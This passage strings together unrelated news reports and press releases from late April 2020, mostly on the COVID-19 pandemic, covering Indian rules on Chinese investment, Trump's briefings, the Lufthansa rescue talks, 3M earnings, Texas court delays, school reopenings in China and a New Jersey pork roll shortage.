Indian government approval. Yet another way to look at it is from the PMLA perspective where different thresholds between 10-25 percent have been prescribed for identification of a beneficial owner. This approach seems to be more logical, considering the overall objective of the government to keep Chinese aggression in check. This has been tested and used as a KYC (know your customer) verification tool for beneficial owners of foreign portfolio investors in the past. Similarly, Chinese investment in Indian alternative investment funds (AIFs) regulated by SEBI (Securities and Exchange Board of India) remains a grey zone. Also, the beneficial ownership determination in the context of AIFs may be challenging as beneficial ownership and significant beneficial ownership rules as laid down in the Indian Company Law are not applicable to AIFs. The AIFs being pooling funds follow operational and management control led test, irrespective of the beneficial interest of investors. The government is also required to clear the air on Indian entities owned and controlled by an existing Chinese entity or a group of Chinese investors. It needs to be seen if that requires prior government approval for sectors falling under the 100 percent automatic route. The follow-on investment by existing Chinese investors in an Indian company and that of Chinas Special Administrative Regions (SARs) such as Hong Kong, Macau and Taiwan are yet another tricky area to deal with. Whether they need prior government approval is still not clear. With so much of friction in Indo-China ties and Chinese hot money fuelling Indias start-up ecosystem, the government felt it imperative to keep a hawkish eye on such incoming capital. This comes at a time when Indian companies are reeling under the COVID-19 impact. Their attractive valuations are making them a soft and easy target for a hostile takeover by cash-rich Chinese firms. The implications for Indias unicorn club are huge as most of them have been funded directly or indirectly by listed and privately-held Chinese firms. That puts the onus on the government to set the record straight as India badly needs foreign capital in these turbulent times. EPA As the number of US coronavirus cases climbs above 1 million and the nation's death toll surpasses deaths from the Vietnam War, Donald Trump claims the country is "very close" to testing 5 million people daily, as he continues to pressure states and local governments to begin "reopening" as the economy flounders. The president also suggested during a briefing on Tuesday that states with financial deficits could be forced to give undocumented people in custody over to federal immigration authorities if they want financial relief in the wake of the public health crisis. He said: "We're not looking to recover 25 years of bad management and to give them the money they lost. That's unfair to other states. If it's Covid-related I guess we can talk about it, but we'd want certain things also, including sanctuary city adjustments. We have too many people in sanctuary cities." His administration has frequently retaliated against states with "sanctuary" policies that limit cooperation with federal enforcement agencies like ICE. In a reversal just days before the outbreak, the Justice Department was given permission in US District Court to withhold funding from New York and seven other states over their policies. The president has also denied responsibility for Americans ingesting disinfectants after Maryland governor Larry Hogan said he had received calls asking about it as a weapon against coronavirus in the wake of the president suggesting it could be an effective remedy during a briefing last week. His claims follow a turbulent few days at the White House after he suggested Americans could inject disinfectant as a potential cure, with aides reportedly pitching an end to the daily coronavirus briefing format to prevent the president from damaging his re-election chances. He also said he the briefings were no longer worth it, though he has held two press conferences since making that statement on Twitter. Meanwhile the president has deleted several tweets attacking the media over coverage of the federal response to the crisis after they were met with criticism and mockery, with CNN anchor Jake Tapper describing his posting of a disturbing deepfake video of Joe Biden as indecent and obscene. Follow live coverage as it happened Please allow a moment for our live blog to load Read more Trump to force meatpacking plants to stay open Trump says US 'very close' to 5m daily coronavirus tests target Republican ex-senator Jeff Flake will vote for Biden over Trump Trump tells eye doctor 'I may have to see you' in strange press confer Trump refuses to deny receiving daily coronavirus warnings months ago According to her, we all know if we keep rice or grain it is bound to change colour but that does not mean it is unfit for human consumption. BERLIN/VIENNA (Reuters) - Lufthansa might seek some form of protection from creditors while talking to the Berlin government about a 9 billion euro ($9.76 billion) rescue package, a company source said on Tuesday after government and airline sources said talks on a deal were continuing. The company source said the type of creditor protection under consideration would require the company to be still solvent, with management staying on to oversee a restructuring. Lufthansa, which like many other international carriers was forced to ground nearly all its flights due to the coronavirus, declined to comment. The German flagship carrier's shares had risen as much as 12.1% earlier on Tuesday, which traders attributed to prospects of a rescue deal being close. They closed 2% higher at 8.09 euros. The stock was also supported by the reported size of a rescue package, which met with some expectations, traders said. Lufthansa and the economy ministry declined to comment after news outlet Business Insider cited company sources as saying Berlin would help in return for a blocking minority and one or two supervisory board mandates. The question of state influence in the management of the company is a tricky one for Germany's coalition government. A government source said talks would continue but gave no timing. Germany's conservative government wants to leave Lufthansa's management relatively free of intervention, while the Social Democrats (SPD) want the state to share ownership in order to influence decision-making to protect employees. Unions representing pilots, crews and ground staff demand job guarantees if tax payer money flows. Lufthansa has subsidiaries in Austria, Switzerland and Belgium and its two German hubs, Frankfurt and Munich, are located in the state of Hesse and Bavaria. Lufthansa's Austrian unit AUA said late on Tuesday that it had applied for state aid of 767 million euros, of which a large part should be repayable loans and the remainder grants. These grants were still under negotiation, an AUA spokesman said. Story continues The Austrian government has repeatedly said it would require job guarantees and an assurance that Vienna will remain a transfer hub in return for financial support. Lufthansa has issued stark warnings about its solvency amid a gloomy outlook after the coronavirus crisis grounded almost all its planes. CEO Carsten Spohr this month cited cash burn at a rate of 1 million euros per hour, meaning the airline's 4 billion euro cash reserves will be inadequate. Lufthansa currently transports only 1% of passengers compared with a year ago. Some 100 aircraft of its 760-strong fleet could be idled and 10,000 jobs are in danger, Spohr said last week. Some rival airlines in Europe and in the United States have secured government help, but others have said they aim to manage without it. Spohr assured Belgian Prime Minister Sophie Wilmes in a letter seen by a broadcaster he has no plans to sell Belgian unit Brussels Airline. ($1 = 0.9218 euros) (Reporting by Michelle Martin, Christian Kraemer, Ilona Wissenbach, Andreas Rinke, Holger Hansen, Alexander Huebner, Alexandra Schwarz-Goerlich, writing by Vera Eckert in Frankfurt and Kirsti Knolle in Vienna; editing by Thomas Seythal/Jason Neely/Jane Merriman/Sabine Wollrab/Arno Schuetze/Dan Grebler) Description Asset Enhancement Solutions, LLC ("AES") is glad to be hosting complimentary, CPA-led PPP Loan Application Workshops for Independent Contractors and Sole Proprietors. For the last 17 years, AES has been providing the business community with Creative Solutions to Financial Challenges. Today's economic situationi is perhaps the biggest we will see in our lifetimes. We recognize that there are limited resources for Independent Contractors and Sole Proprietors and therefore decided to create these hands-on sessions via Zoom to help support local businesspeople. Our upcoming workshop start times are as follows: 4/28/20-4/30/20 at 10am, 2pm and 7pm ET 5/1/20-5/3/20 at 10am and 2pm ET Please use the link above to register for a workshop at a time that is convenient for you! New Delhi: Union Health Ministry on Tuesday (April 28) clarified that any building premise will not be sealed just because a coronavirus COVID-19 patient has been found in it but a proper and mandatory disinfection process will be followed to ensure that the premises can be used again. Building where a COVID-19 patient has been found can be used after proper disinfection, says Health Ministry pic.twitter.com/TAgLOKquJH Zee News English (@ZeeNewsEnglish) April 28, 2020 "If a COVID-19 patient is found in a non-COVID hospital or a health professional is infected there, then that facility can be used after proper disinfection. The same process will be applicable to all other locations where a COVID patient is found. The building or the locality will have to be disinfected using the proper procedure and then it can be used," Lav Aggarwal, Joint Secretary, Ministry of Health, told media during his daily briefing in New Delhi. When asked if a building can be used even after a COVID-19 patient has been there, he referred to his earlier discussion in this regard. He asserted that the only requirement is that the particular building or facility should be properly disinfected if it has to be used. He further stated that the same process would be applicable at all the locations if any COVID patient is found. Notably, the Health Ministry has already issued guidelines for home isolation of people who either have very mild COVID-19 symptoms or are in the pre-symptomatic phase. "Such patients with requisite self-isolation facility at their residence will now have the option for home isolation," it said. "As per existing guidelines, during the containment phase, the patients should be clinically assigned as very mild/mild, moderate or severe and accordingly admitted to COVID Care Centre, Dedicated COVID Health Centre or Dedicated COVID Hospital, respectively. However, very mild/pre-symptomatic patients having the requisite facility at his/her residence for self-isolation will have the option for home isolation," the ministry stated. According to the guidelines, the infected person should be clinically assigned as a very mild case/pre-symptomatic case by the medical officer and the patient should have the requisite facility at their residence for self-isolation and also for quarantining the family contacts. The ministry also clarified that plasma therapy is still under testing, but there is no evidence that this can be used as a treatment. "Plasma therapy is not a proven therapy. It's still in the experimental stage, right now ICMR is doing it as an experiment to identify and make additional understanding of this therapy. Till it is approved no one should use it, it will be harmful to the patient and illegal," added Aggarwal. TANZANIA, Tanzania - The United States has circulated a draft U.N. resolution that would indefinitely extend a U.N. arms embargo on Iran set to expire in October, a move almost certain to spark opposition from Russia, which has made no secret of its desire to resume conventional weapons sales to Tehran, U.S. officials and U.N. diplomats said Tuesday. The draft document, which as of Tuesday had been circulated only to a small number of Security Council members, would strike the expiration of the arms embargo from the council resolution that endorsed the 2015 nuclear deal between six major powers and Iran, according to Trump administration officials and U.N. diplomats, who were not authorized to discuss the matter publicly and spoke on condition of anonymity. The U.S. officials said the aim is to present the resolution for a vote in May when Estonia, a NATO member and close U.S. ally that is not party to the nuclear deal, holds the rotating presidency of the Security Council. The arms embargo was not a part of the landmark 2015 accord, but Iran has long sought its removal and its expiration was included in the council resolution as a reward for Iranian compliance with the agreements nuclear restrictions. Since Iran is admittedly no longer complying with several elements of the nuclear deal, according to the International Atomic Energy Agency, the administration believes it has a case to make that the embargo should not be lifted, the officials said. Still, any attempt to extend the embargo will likely face stiff opposition from Russia and China, two veto-wielding permanent members of the Security Council who have argued it should be removed and want to resume arms sales to Iran. Russia has been more outspoken on the matter and has derided U.S. attempts to bring the matter up for discussion, criticizing President Donald Trump for withdrawing the U.S. from the nuclear deal in 2018 and re-imposing tough American sanctions on Iran. Despite that opposition, which is almost certain to see the American effort fail, the U.S. officials said the administration is not planning at this point to raise the controversial matter of snapback or restoring all U.N. sanctions against Iran that had been lifted or eased under the terms of the 2015 deal. Although the administration pulled out from the deal two years ago, the U.S. maintains that it retains the right to invoke a sanctions snapback that the deal envisaged in the event of significant non-performance by Iran. That position rests on a novel State Department legal argument that was first presented in December and asserts that although the U.S. is no longer in the nuclear deal, it remains an original participant under the terms of the Security Council resolution that enshrined it. That resolution does, in fact, list the parties to the 2015 agreement by name, but numerous diplomats have said the American argument is specious because the Trump administration has made such a point about no longer participating in the deal. The U.S. risks sparking a diplomatic war and throwing the already damaged credibility of the Security Council into further jeopardy should it decide to invoke snapback because it is unlikely that either the Chinese or the Russians, and possibly other members, would go along with the re-imposition of U.N. sanctions or enforce them. The Chinese, Russians and many other council members have lamented the impact that the unilateral U.S. sanctions have had on Iran, crippling its oil exports and badly damaging its economy. And, although the U.S. sanctions include exemptions that allow Iran to import humanitarian goods, critics have complained that they are hurting Irans ability to combat the coronavirus pandemic by discouraging companies and banks from doing business with Iran out of fear they will be hit with American penalties. ___ Lee reported from Washington New Delhi, April 28 : After two Sadhus were found murdered in Bulandshahr the Congress has attacked the Chief Minister for deteriorating law and order situation in the state. Congress Working Committee member and former Union Minister Jitin Prasada has demanded the resignation of Chief Minister Yogi Adityanath. The murder of the two Sadhus came after a family of five have been found dead under mysterious circumstances. Prasada in a press statement said, "It's time that the chief minister should step down as law and order situation is worsening day by day." The Brahmin leader of UP has been accusing the government of targeted killing of Brahmins in the state and said that the government is trying to cover up such cases. Priyanka Gandhi Vadra earlier tweeted that there should be no politics over the killing of sadhus but the Congress leaders have ceased the opportunity to attack the government. Priyanka Gandhi in her tweet said, "Today in Bulandshahr, two sadhus were murdered while they were sleeping. The truth must come out after investigation in this heinous crime and at this stage no body should politicize this issue." Two sadhus were found murdered inside a Shiva temple at Pagona village of Bulandshahr district in Uttar Pradesh on Tuesday. The murder came to light when people reached the temple on Tuesday morning and saw the blood-soaked bodies. According to reports, the deceased have been identified as Jagandas (55), and Sevadas (35). Chief Minister Yogi Adityanath has taken cognizance of the incident and directed the district officials to inform him of the investigations. He has also ordered strict action against the accused. One of the accused has been arrested by the police. 3M shares jumped Tuesday after the manufacturing conglomerate reported first-quarter earnings and revenues that topped Wall Street's expectations as demand for safety equipment and cleaning products spiked amid the coronavirus pandemic. The company said in a release that it saw a mix of results across its segments, but especially "strong" numbers in its personal safety unit given its role in the production of key N95 respirator masks. The St. Paul, Minnesota-based 3M said Tuesday that it's doubled global respirator output to 100 million per month since the beginning of 2020 and is increasing capital investment to double respirator output again. It reported adjusted earnings per share of $2.16 on revenues of $8.08 billion for the first quarter, growth of 2.7% on a year-over-year basis. Both figures topped Wall Street consensus estimates of EPS of $2.03 and sales of $7.91 billion based on Refinitiv research. Still, it's difficult to compare reported earnings to analyst estimates for 3M's first quarter as the impact of the coronavirus is tricky to model precisely in financial forecasts. Shares were last seen up 4.4%. "Given the breadth and diversity of our businesses, the financial impact of COVID-19 is varying across 3M," CEO Mike Roman said in a release. Total sales grew 21% in its health-care segment and 4.6% in consumer, the company said. "In the first quarter we saw strong growth in personal safety, as well as in other areas of our portfolio experiencing high demand due to the pandemic," he added. "At the same time, we experienced weak demand in several end markets that were more severely impacted by actions taken around the world to slow the pandemic." As such, 3M announced Tuesday that it is withdrawing its full-year financial guidance, saying uncertainty about the duration, magnitude and pace of recovery from the Covid-19 pandemic makes it impossible to provide meaningful estimates. However, 3M said it would begin reporting monthly sales information starting in May to provide investors transparency on 3M's ongoing business performance. It added that it will make adjustments to how it spends its cash amid the outbreak. 3M said it's making "aggressive" cost reductions while minimizing employee impact for estimated cost savings of $350 million to $400 million in the second quarter. It also said it will now be prioritizing organic investments, protecting its beloved per-share dividend which it increased 2% to $1.47 before the end of the first quarter and suspending its share repurchase program. "We believe that these quarterly results were better than feared and indicated that there were still pockets of growth in personal safety, food safety, general cleaning, and biopharma filtration," RBC analyst Deane Dray wrote of the results. "3M's explicit prioritization of its dividend should also alleviate any concerns over a dividend cut," he added. "As a result, we expect 3M shares to modestly outperform peers by roughly low-single-digits on Apr-28." State District Judge Ron Rangel is poised to sign an order this week further suspending jury pools and criminal courtroom dockets in Bexar County until at least June 1, what he calls a very soft date, even as state and local leaders look at easing other virus-related restrictions. This would be the 10th order Rangel has signed relating to court operations resulting from the coronavirus pandemic since March 13, when closures began because of COVID-19. Rangel, administrative judge for the state district courts, has followed guidelines set forth by the Office of Court Administration, an agency that operates under the Texas Supreme Court and the Chief Justice. On ExpressNews.com: Get the latest update on coronavirus and a tracking map of U.S. cases I would never do less than what they recommend, but I have no issues being more restrictive and taking extra precautions than what the OCA recommends, Rangel said Monday. Even if the OCA starts to loosen restrictions, I have no intention of lifting them before June 1, at the absolute earliest. Bexar County District Attorney Joe D. Gonzales understands the mandatory jury pool delay is necessary; the nature of calling in hundreds of people to allow for choosing an impartial panel of jurors means the people called in would normally be in close proximity to each other, which could contribute to the spread of COVID-19. Obviously this whole experience has turned the justice system upside down, Gonzales said. Our primary concern is the welfare of our citizenry. Hopefully we can get back to hearing jury selection in person, but we are not sure when. Rangel has been at the forefront of safety precautions at the courthouse. He issued a mandate April 8 that requires masks be worn in all courtrooms, offices and chambers to help slow the spread of the deadly virus. The county suspended jury duty once state and local officials ordered people to stay home and practice social distancing. In normal times, about 5,000 jury summons are issued per week, Julieta Schulze, chief central jury bailiff for Bexar County, has said. Those are potential jury panels for 27 civil and criminal district courts, 15 county courts-at-law, two probate courts and Municipal Court, Rangel said. We figured theres about 650 folks on a typical Monday (called to jury duty), said Rangel, presiding judge of the 379th state District Court. He said under social distancing guidelines for people to stay 6 feet from each other, the most they could physically put in the Central Jury Room in the basement of the Cadena-Reeves Justice Center would be 100. Even if the smaller jury pools could be called, Gonzales said masks and social distancing present obstacles, because when prosecutors and defense attorneys pick jurors or question witnesses, they use all of their senses for choosing jurors, and in hearings and trials. On ExpressNews.com: Civil district judge gets a taste of jury duty in Bexar County after receiving summons to appear Demeanor is very important. We are asking jurors to judge the credibility of witnesses; they could be smirking behind that mask, he said. Gonzales said the longer the delay, the concern is that evidence in a case could go stale, and they could lose key witnesses. But obviously, we have to work with what we have, he said. The delay is a double-edged sword for defense attorneys representing the accused safety and representing their clients said Monica E. Guerrero, a defense attorney. I am bound by the Constitution and my oath to seek for my client reasonable bail and to ensure he has a right to a speedy trial and the right to confront his accuser, said Guerrero, but she acknowledged the importance of taking precautions for health reasons. Officials are exploring increasing the use of virtual technologies such as Zoom videoconferencing, which has been done on the civil side and in Childrens Court, and recently began on the criminal side. Rangel said he and his colleagues are looking into possibly trying to use Zoom for civil trials. Gonzales said doing virtual jury selections or even conducting criminal jury trials remotely using videoconferencing puts a wrench in the deliberation process because it is supposed to be done in secret. How do you preserve secrecy (through Zoom), and how do you prevent juries from engaging in misconduct like conducting their own investigations? Gonzales said. I dont think the framers of the Constitution had foreseen this situation we would be in, that we would be judging someones guilt or innocence by electronic means. ezavala@express-news.net Metro Manila (CNN Philippines, April 28) President Rodrigo Duterte dangled a new reward to Filipino inventors as government searches for a local suppler of medical respirators for COVID-19 patients. Presidential Spokesperson Harry Roque, Jr. announced Tuesday that Duterte has approved a 20-million bounty to any Filipino who can produce locally-made respirators. "Nagbigay ng pabuya ang ating Presidente, 20 milyon para sa sinumang Pilipino na makakabuo ng local respirator na ang sabi niya, dapat naman, 'could outlast the life of the patient' [The President offered 20 million to any Filipino who can put together a local respirator which he says could outlast the life of the patient]," Roque said in a media briefing. Health authorities factor in the availability of hospital beds and equipment in assessing whether an area must be placed under strict quarantine, as these capture the health sector's capacity to handle a potential increase in infections. Latest data show that there are 1,319 mechanical ventilators, also called respirators, in the country. Of these, 989 units are available for use nationwide to assist patients who face difficulty in breathing. Last week, the President also raised the stakes and offered a 50-million reward for any resident who can concoct a vaccine against COVID-19, even saying that he could jack up the prize money to 100 million if he is pleased with the result. Initially, that reward was just at 10 million, which he coupled with a pledge of a "substantial" grant to the laboratories of the University of the Philippines and the Philippine General Hospital to boost research and development for a cure. As of Monday, 7,777 COVID-19 cases have been recorded in the country. Of them, 932 people have recovered while 511 died. Abroad, several pharmaceutical firms have been racing against time to come up with a viable treatment. Select hospitals in the Philippines have joined efforts led by the World Health Organization for clinical trials to test potential cures on willing patients. Currently, scientists are checking if they can tap the antibodies developed by a recovered person to help a struggling patient combat the infection through experimental plasma therapy. The President earlier said that he would only lift the quarantine measures once an antibody cure for COVID-19 is ready for widespread use. Strict stay-at-home rules in Metro Manila and other provinces with a high number of active infections have been extended to May 15 to contain the spread of the virus. BOSTON, April 28, 2020 /PRNewswire/ -- The latest Alignable Pulse Poll of 9,500 small business owners from April 24-27, 2020, shows 34% of small businesses nationwide won't pay May rent in full, of which 84% will only be able to pay half of the rent or less next month. While the majority of small businesses have made arrangements with landlords for reduced or delayed payments, 36% can't get their landlords to budge. And nearly half of business owners who negotiated with landlords were only able to delay rent by one month. Only 22% were successful in deferring rent for three months and a lucky 3% pushed off rent for six months. "Given the massive impact that COVID-19 has waged against small businesses, the issue of paying rent every month just intensifies the problems confronting these very dedicated business owners," said Eric Groves, Alignable Co-Founder and CEO. "It's gratifying to see that nearly two-thirds of landlords have offered some help, knowing they too have loans and expenses to pay. With that in mind, we need to put more pressure on Washington and the banks to get the CARES Act relief in the hands of small business owners." The industries most affected by rent struggles include retail, personal services, travel, and restaurants, but this problem cuts across all categories at this point. That's largely because more than 44% of all small businesses have closed as of today, according to another Alignable poll, running April 17-26 with 40,000 respondents. It showed that COVID-19 quarantines have been especially difficult on women-owned, minority-owned, and veteran-owned businesses. According to that poll, more than half of all women-owned businesses (52%) report being closed, while similar figures surfaced for minority-owned businesses (48%) and veteran-owned companies (44%). That's compared to all other businesses, where only 38% have shut their doors. On a hopeful note, 98% of all of these businesses plan to reopen once the quarantines have ceased. "The effects of this Coronavirus crisis on women-owned, minority-owned, and veteran-owned businesses are especially devastating to see," added Venkat Krishnamurthy, Alignable's Co-Founder and President. "It's hard to fathom how so many of these once-vibrant businesses that bring so much to their communities have been forced into hibernation. We plan to investigate more of these issues in future polls." Survey Methodology These surveys were conducted via email with a random sample of Alignable's membership database of 4.5 million+ small business owners. The May Rent Pulse Poll includes results from April 24-27, 2020, and was based on the responses of 9,500 small business owners. The Demographics Pulse Poll ran from April 17-27, 2020, and includes responses from more than 40,000 small business owners. All participants run companies ranging from 1 to 50 employees. Alignable's Pulse Polls are the most immediate and comprehensive polls available reflecting the sentiments of small business owners nationwide. Stay tuned for new poll findings. For more information, please contact [email protected]. SOURCE Alignable Related Links alignable.com Around 1,500 students from a Chinese province have shown high body temperatures as they returned to schools after the coronavirus lockdown. Authorities, however, claimed that none of the students with fever symptoms was diagnosed with COVID-19, the disease caused by the virus. Pupils across China have resumed classes after spending more than three months at home as the country continues to ease coronavirus restrictions. But many parents have feared that the reopening of schools and universities could trigger a second wave of the outbreak in China. Around 1,500 students from a Chinese province have shown high body temperatures after theyve returned to schools following three-month coronavirus lockdown. A staff member checks the body temperature of a student at the entrance of a school in Shandong province More than six million pupils have gone back to over 6,000 schools across Zhejiang province of eastern China since April 13, local officials announced on Monday. A student walks past police and officials as she arrives at a high school in Beijing on April 27 More than six million pupils have gone back to over 6,000 schools across Zhejiang province of eastern China since April 13, local officials announced on Monday. About 1,500 of these pupils have reported high body temperatures as of Sunday, said Chen Feng, deputy director of the provincial education department. From April 13 till now, no cases related to the coronavirus have been found in the primary and secondary schools that are opened in the province. Our schools are generally safe, said Chen. The official explained that the students having fever symptoms could be caused by the changing seasons. The temperatures are changing drastically. It is easy to have a cold or other infectious diseases, Chen added. The news comes as the city of Wuhan, where the global coronavirus pandemic began in December, yesterday discharged its last COVID-19 patient, health officials said. Pictured, students wearing face masks have a class at a middle school in Shanghai on April 27 The local authorities said that the returning students have their temperatures taken when entering and leaving the campus. Those showing fever symptoms will receive nucleic tests to determine if they are coronavirus carriers. Schools have also assigned dedicated health codes to the pupils to monitor their health status. But some parents have voiced their concerns over the reopening of schools and universities, which see students returning to the campus from all over the country, according to the press. The Zhejiang official suggested that some institutions allowed their students to remain home and take classes online. Meanwhile, tens of thousands of students in their final year of middle and high schools in Shanghai and Guangzhou returned to the campus on Monday while graduating students in high schools in Beijing also resumed classroom study yesterday. Nearly 50,000 students who are in their last year of high school resumed their campus life today in 254 schools in Beijing, the Chinese capital city, state newspaper People's Daily said. Pictured, students wearing face masks arrive at the Huayu Middle School in Shanghai Schools in Shanghai must also install screening facilities featuring ultra red thermometers at the gate to monitor students' temperatures when there are more than 100 people on campus All schools and universities must impose strict preventative measures to stop the disease from spreading, including giving out free face masks, disinfecting the campus and setting up quarantine areas. The government of Guangzhou, which has a population of around 15million, had given each of the 208,000 returning students a nucleic acid test before allowing them to step into the school, reported People's Daily. The test detects if the person currently has the novel coronavirus. 'I'm glad, it's been too long since I've seen my classmates,' 18-year-old Hang Huan said in Shanghai. 'I've missed them a lot.' All schools in Shanghai, the Chinese commercial hub with 24million people, must adopt new tough rules to prevent a second wave, according to Lu Jing, an official from the Shanghai Municipal Education Commission. Tens of thousands of graduating students in China have returned to the campus after spending three months at home due to coronavirus. Pictured, students wearing face masks line up to have their temperature checked at the entrance of a middle school in Shanghai on April 27 School authorities must provide each student and teacher with one face mask every day and disinfect the canteen, dormitories, classrooms, washbasins and bathrooms daily. Schools must also install screening facilities featuring ultra red thermometers at the gate to monitor students' temperatures when there are more than 100 people on campus, Lu added. Students in Beijing, which has a population of more than 21million, must have their temperatures checked at school gates and show 'green' health codes on an app that calculates a person's infection risk, according to the education ministry. Nearly 50,000 students who are in their last year of high school resumed their campus life on Monday in 254 schools in the capital city, People's Daily said. LOS ANGELES, April 28, 2020 /PRNewswire/ -- IGNITE International Brands, Ltd. (CSE:BILZ,OTCQX: BILZF) ("IGNITE" or the "Company"), a global consumer packaged goods brand, is ramping up efforts to help in the fight against the current coronavirus pandemic. Product donations and new COVID-19 response products have become priorities for the Company as it joins in the global effort to eradicate the virus. IGNITE's new line of COVID-19 response products includes masks, gloves, hand sanitizer and sanitizing surface spray. To develop these products, IGNITE has partnered with LCF Labs. LCF Labs is in the business of contract manufacturing and packing for a growing number of customers with leading brands in the vape industry; however, partially as a result of its agreement with its partnership with IGNITE, LCF made a transition to manufacturing and packing hand sanitizer to support the fight against COVID-19. "Our customers and their well-being are our number one priority always. As an international brand our customers span across the globe, and we're trying to support the global fight against the COVID-19 pandemic," said IGNITE President, Curtis Heffernan. "We're thrilled to have a partner like LCF to navigate the current industry climate and aid in efforts to prevent further spread of COVID-19." IGNITE continues to focus on monitoring the latest COVID-19 updates and is taking all appropriate actions to operate safely. To prevent the spread of COVID-19, LCF Labs together with IGNITE will donate thousands of hand sanitizers to first responders and hospitals. IGNITE has committed to donating 5,000 units of its CBD infused lip balm to the Corona Care Challenge in the United Kingdom. This organization, together with IGNITE will continue to support all the incredible frontline staff at the NHS across London and Greater London. IGNITE has also committed to donating $25,000 worth of COVID-19 prevention products to local Los Angeles organizations. Lastly, the full line will be available to purchase on buyignite.co and Amazon. ABOUT IGNITE IGNITE is a global consumer brand, operating in the premium product segment of the market. Founded by Dan Bilzerian, the company's 'quality-first' approach is fundamental to the brand and its products. Originally operating in the cannabis and hemp-derived cannabidiol (CBD) wellness space, IGNITE was able to establish its brand awareness. IGNITE product categories now include a full line of CBD oil tinctures, CBD topicals, CBD pet products and CBD vape devices, produced by various partners and sold through select distributors, brick and mortar retailers, and online through the Company's website, ignite.co. The IGNITE THC product line, which was launched subsequent to the CBD product line, incorporates quality, locally sourced, cannabis products. Since the launching of its THC and CBD products, the Company has expanded into the beverage space, launching a full line of functional performance enhancing drinks. The IGNITE beverage line currently consists of PH-alkaline balanced water, a line of premium performance drinks, named Z-RO as well as a gluten-free, seven-time distilled Vodka. IGNITE beverages will be distributed nationally within the United States and available to purchase on the IGNITE beverages website, IgniteBeverages.co. IGNITE is a socially responsible company and is committed to using its marketing and brand power as a positive catalyst for a healthy lifestyle. The IGNITE management team believes that socially responsible oriented actions have a positive impact on the Company, its employees and its shareholders. Shares of IGNITE are listed on the Canadian Securities Exchange (CSE) under the symbol "BILZ" and in the United States on the OTCQX under the symbol "BILZF". Cautionary Statement Regarding Forward-Looking Information This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to IGNITE, its expected product offering and its future ability to distribute its products. Forward-looking statements are necessarily based upon several estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: general business, economic, competitive, political and social uncertainties; the effects and impacts of the coronavirus disease (COVID-19) pandemic, the extent and duration of which are uncertain at this time on IGNITE's business and general economic and business conditions and markets; the ability of IGNITE to give effect to its business plan; reliance on the "IGNITE" brand which may not prove to be as successful as contemplated; the ability to and risks associated with unlocking future licensing opportunities with the "IGNITE" brand, and the ability of IGNITE to capture significant market share. There can be no assurance that any of the forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. The Company disclaims any intention or obligation to update or revise any forward-looking statements, whether because of new information, future events or otherwise, except as required by law. SOURCE IGNITE International Brands, Ltd. Related Links http://buyignite.co Former climate change researcher Amy MacMahon will again attempt to unseat Jackie Trad at the state election after narrowly losing to the Deputy Premier in 2017. There was a 10 per cent swing away from Labor to Ms MacMahon, the Greens' candidate in the South Brisbane electorate, at the last election. Ms Trad won South Brisbane with just 500 more first preference votes than Ms MacMahon and retained the seat on the back of LNP preferences. The Greens' Amy MacMahon is aiming to take South Brisbane off Deputy Premier Jackie Trad. Credit:Alex Ellinghausen However, in a controversial move, the LNP will be putting Ms Trad, who is also the state's Treasurer, last on its how-to-vote cards at the October 31 election. Dont look now, Jersey, but you may be running out of Taylor ham. Or pork roll, however you want to call it. "This is the last pork roll on the shelf!'' said a flabbergasted Johnny Yarusi, holding a six-pound "log'' of Trenton Pork Roll at Restaurant Depot in Neptune. Yarusi, owner of Johnnys Pork Roll in Red Bank, stopped at the Restaurant Depot on Friday, only to find shelves, usually jammed with Taylor Ham and Case pork roll, sadly and shockingly empty. Except for that one lonely six-pound log of Trenton Pork Roll, which he snapped up and cradled. He stopped again Monday. Nada. "I am blown away; I have never seen it like this,'' Yarusi said. "From what Im hearing, it (pork supply) is going to be tight going forward,'' said Robbie Battisti-Goldstein, co-owner of The Pork Store in Upper Freehold. The Pork Roll Store makes its own pork roll from pork butts, but the closing of giant pork-producing plants around the country due to the coronavirus outbreak threatens her supply, and the ability of Taylor Ham and Case to make more of the breakfast meat Jerseyans adore. Taylor Provisions, makers of Taylor ham and Trenton Pork Roll, and Cases Pork Roll, both headquartered in Trenton, are the two major players in the pork roll business. Johnny Yarusi, owner of Johnny's Pork Roll, at Restaurant Depot, Neptune (Peter Genovese I NJ Advance Media for NJ.com) The food supply chain is breaking,'' Tyson Foods board chairman John Tyson wrote in a full-page ad published Sunday in The New York Times, Washington Post and Arkansas Democrat-Gazette. "There will be a limited supply of our products available in grocery stores until we are able to re-open our facilities that are closed,'' Tyson added. Tyson Foods closed pork plants in Logansport, Ind. and Waterloo, Iowa so workers could be tested for the coronavirus. Close to 200 cases have been reported so far at the Iowa plant. More than 800 workers at Smithfield Foods Sioux Falls, S.D. plant have tested positive for the virus making it the one of the countrys largest coronavirus hotbeds. About 15 percent of the nations pork production comes from three plants currently closed due to coronavirus outbreaks the Smithfield Foods Sioux Falls plant, the Tyson plant in Iowa, and JBS pork processing in Worthington, Minn. JBS is the worlds largest meat processor. Officials of the United Food and Commercial Workers union, which represents an overwhelming majority of workers in the pork and beef industries, said the recent plant closings have reduced pork production nationwide by 25 percent. And things may be getting worse. Taylor Provisions, Trenton (Peter Genovese I NJ Advance Media for NJ.com) "I may have to shut down,'' said Yarusi, whose pork roll truck (temporarily closed) and Red Bank restaurant (open for pickup) are well known in New Jersey pork roll circles. Right now, pork happens to be scarce,'' explained Battisti-Goldstein. Its extremely hard to get, your pork, your raw material. Pork loins, all that stuff, its really tough now.'' The Pork Roll Store, which makes the Johnston House Brand of pork roll, traces its roots to Trentons Chambersburg section, where Battisti-Goldsteins grandfather and his brother-in-law opened a grocery store/butcher shop in 1920. In 1950, the shop moved to nearby Hamilton, re-locating to Upper Freehold, outside Allentown, 40 years ago. The Pork Roll Stores Johnston House Brand won our pork roll showdown in 2016, besting Taylor, Case and two other brands. Pork roll seems to be a prized commodity on Amazon. One seller is offering two six-pound rolls of Trenton Pork Roll for $129.99, plus $25.24 for shipping. You can get double that amount from Jersey Pork Roll in Middlesex for $144.55, plus approximately $30 for shipping depending where you live. Case's Pork Roll, Trenton (Peter Genovese I NJ Advance Media for NJ.com) Jerseyans love their their pork roll/Taylor ham, and they seem to love it even more now, with comfort foods like it filling physical and emotional cravings in these quarantine times. Sales of pork roll at the Pork Roll Store are up 50 percent in the last 